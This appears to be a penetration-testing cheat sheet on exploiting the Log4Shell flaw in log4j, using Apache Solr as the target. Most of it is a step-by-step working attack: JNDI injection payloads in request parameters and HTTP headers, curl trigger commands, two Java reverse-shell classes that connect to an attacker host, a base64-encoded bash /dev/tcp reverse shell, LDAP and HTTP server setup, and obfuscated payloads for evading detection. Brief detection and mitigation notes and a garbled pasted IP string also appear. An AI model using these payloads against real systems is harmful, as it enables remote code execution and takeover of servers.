5.0 KiB
5.0 KiB
Log4Shell
-
log4j
< version 2.15.0rc2 -
Code inside a
param
value is parsed and a${payload}
will be executed, for example
${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}
Java Naming and Directory Interface JNDI
- Vulnerability can be exploited via
${jndi:ldap://<attacker-IP>/foo}
POC
curl 'http://$TARGET:8983/solr/admin/cores?foo=?$\{jndi:ldap://$ATTACKER_IP:4449\}'
- Use HTTP header field as storage for payload or any other possible input field
X-Forwarded-For: ${jndi:ldap://$ATTACKER_IP:1389/foo}
Accept: ${jndi:ldap://$ATTACKER_IP:1389/foo}
X-Api-Version: ${jndi:ldap://$ATTACKER_IP:1389/foo}
Usage
-
Fuzz endpoints to applicate the exploit on
-
Clone and build marshallsec via
mvn clean package -DskipTests
-
Java version should be the same as the one on the target
-
A Proxy LDAP server to an HTTP server is needed
-
Compile following Java reverse shell via
javac Exploit.java -source 8 -target 8
to Exploit.class
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash $ATTACKER_IP 4449");
} catch (Exception e) {
e.printStackTrace();
}
}
}
or another one
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
static {
String host = "$ATTACKER_IP";
int port = 4711;
String cmd = "/bin/sh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
} catch (Exception e) {
}
}
}
- Run the LDAP, HTTP and reverse shell
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit"
php -S 0.0.0.0:8000
nc -lvnp 4449
- Trigger via
curl 'http://$TARGET:8983/solr/admin/cores?foo=$\{jndi:ldap://$ATTACKER_IP:1389/Exploit\}'
Detection
-
Parse logs for
jndi
Obfuscation
- Possible bypasses are as follows
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}
Mitgation
- Apache Solr security news
- Add the following line to
solr.in.sh
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
10.10.90.21210.10.90.212
Tipps, Tricks & other Tools
- Use tcpdump to catch a possible connection
tcpdump -i <interface> port 389
* While the payload may look like this
"${jndi:ldap://$ATTACKER_IP/check}"
Use Veracode's Tools
- Clone veracode's rogue-jndi and build jar with maven
cd rogue-jndi
mvn package
- Prepare a reverse shell
echo 'bash -c bash -i >& /dev/tcp/$ATTACKER_IP/4711 0>&1' | base64
- Run the server
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,<prepared_rev_shell>}|{base64,-d}|{bash,-i}" --hostname "$ATTACKER_IP"
- Select and use the payload from the displayed strings
- Catch the reverse shell with something like netcat
nc -lvnp 4711